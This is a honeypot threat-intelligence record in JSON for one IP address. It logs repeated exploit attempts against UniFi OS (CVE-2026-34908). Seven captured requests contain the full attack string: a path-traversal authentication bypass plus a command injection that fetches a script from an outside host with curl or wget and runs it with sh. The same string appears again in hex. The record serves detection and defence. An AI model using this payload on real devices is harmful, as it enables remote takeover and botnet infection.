{"ip":"77.239.124.109","total_events":8,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"7 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["7 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"3,020 bytes sent","bytes_sent":3020,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-10T02:52:27","last_seen":"2026-08-14T13:14:07","events_24h":2,"events_7d":8,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":198364,"org":"Banatsync Srl"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2026-34908","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"}],"malware":[],"top_ports":[{"port":11443,"proto":"tcp","label":"","count":7},{"port":80,"proto":"tcp","label":"HTTP","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i311000_e8f1e7e78f70_d41ae481755e"],"tls_ja3":["c12b4ccd5320bbb380ca1a9df90f771d"],"ja4h":["ge11nn0400_17292dadbc7b"]},"fingerprint_peers":{"t13i311000_e8f1e7e78f70_d41ae481755e":1016,"ge11nn0400_17292dadbc7b":2830},"user_agents":["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15","Mozilla/5.0"],"timeline":[{"date":"2026-08-10","count":2},{"date":"2026-08-11","count":1},{"date":"2026-08-12","count":2},{"date":"2026-08-13","count":1},{"date":"2026-08-14","count":2}],"recent_events":[{"timestamp":"2026-08-14T13:14:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/login.rsp","summary":"","payload_hex":"474554202f6c6f67696e2e72737020485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31345f3329204170706c655765624b69742f3630352e312e31350d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15","ja3":"","session":"fb0e2141-3dd2-45f2-9f2c-c68131e36863","seq":1,"duration_ms":100,"bytes_in":161,"bytes_out":79},{"timestamp":"2026-08-14T12:01:32","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"9d816ade-515c-4eb0-8c34-0aa418f74d57","seq":1,"duration_ms":113,"bytes_in":409,"bytes_out":79},{"timestamp":"2026-08-13T05:17:35","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"41c25754-b557-44ba-b36a-f9242b56839a","seq":1,"duration_ms":113,"bytes_in":409,"bytes_out":79},{"timestamp":"2026-08-12T21:52:04","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"bc6ec6eb-d311-47a5-ab6b-656d418de518","seq":1,"duration_ms":196,"bytes_in":408,"bytes_out":79},{"timestamp":"2026-08-12T08:50:26","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"b3dbddd6-ae82-42e4-a80f-c8cb8ffcc19b","seq":1,"duration_ms":196,"bytes_in":408,"bytes_out":79},{"timestamp":"2026-08-11T12:13:12","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"90ccf615-da6e-4fb2-baa2-1c0154a0f5dc","seq":1,"duration_ms":196,"bytes_in":408,"bytes_out":79},{"timestamp":"2026-08-10T04:30:00","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"c7b92979-57a8-45fc-b0ea-0be4b70eb9d4","seq":1,"duration_ms":113,"bytes_in":409,"bytes_out":79},{"timestamp":"2026-08-10T02:52:27","port":11443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","summary":"","payload_hex":"474554202f6170692f617574682f76616c69646174652d73736f2f2e2e2532662e2e2532662e2e25326670726f78792f75736572732f6170692f76322f7563732f7570646174652f6c61746573745f7061636b6167653f706b675f6e616d653d2533622b6375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692537437368253743253743776765742b2d714f2d2b687474703a2f2f39352e3135352e3135312e3131332f756e69666925374373682537432537436375726c2b2d732b687474703a2f2f39352e3135352e3135312e3131332f756e6966692b2d6f2b2f746d702f7525336273682b2f746d702f75253743253743776765742b2d712b2d4f2b2f746d702f752b687474703a2f2f39352e3135352e3135312e3131332f756e69666925336273682b2f746d702f752b25336220485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0","ja3":"c12b4ccd5320bbb380ca1a9df90f771d","session":"9db65d2b-ae01-47d1-9f7c-c97c774ced36","seq":1,"duration_ms":195,"bytes_in":408,"bytes_out":79}],"http_methods":[{"method":"GET","count":8}],"distinct_ports_total":2,"top_paths":[{"path":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+curl+-s+http://95.155.151.113/unifi%7Csh%7C%7Cwget+-qO-+http://95.155.151.113/unifi%7Csh%7C%7Ccurl+-s+http://95.155.151.113/unifi+-o+/tmp/u%3bsh+/tmp/u%7C%7Cwget+-q+-O+/tmp/u+http://95.155.151.113/unifi%3bsh+/tmp/u+%3b","count":7,"ports":1},{"path":"/login.rsp","count":1,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15","notable":false}],"distinct_sets":1,"events_with_headers":8},"tags":[{"tag_id":"CVE-2026-34908","tag_type":"cve","title":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package","reference_urls":["https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34908","https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis","https://nvd.nist.gov/vuln/detail/CVE-2026-34908"]}],"data_as_of":"2026-08-14T16:19:20.458162+00:00"}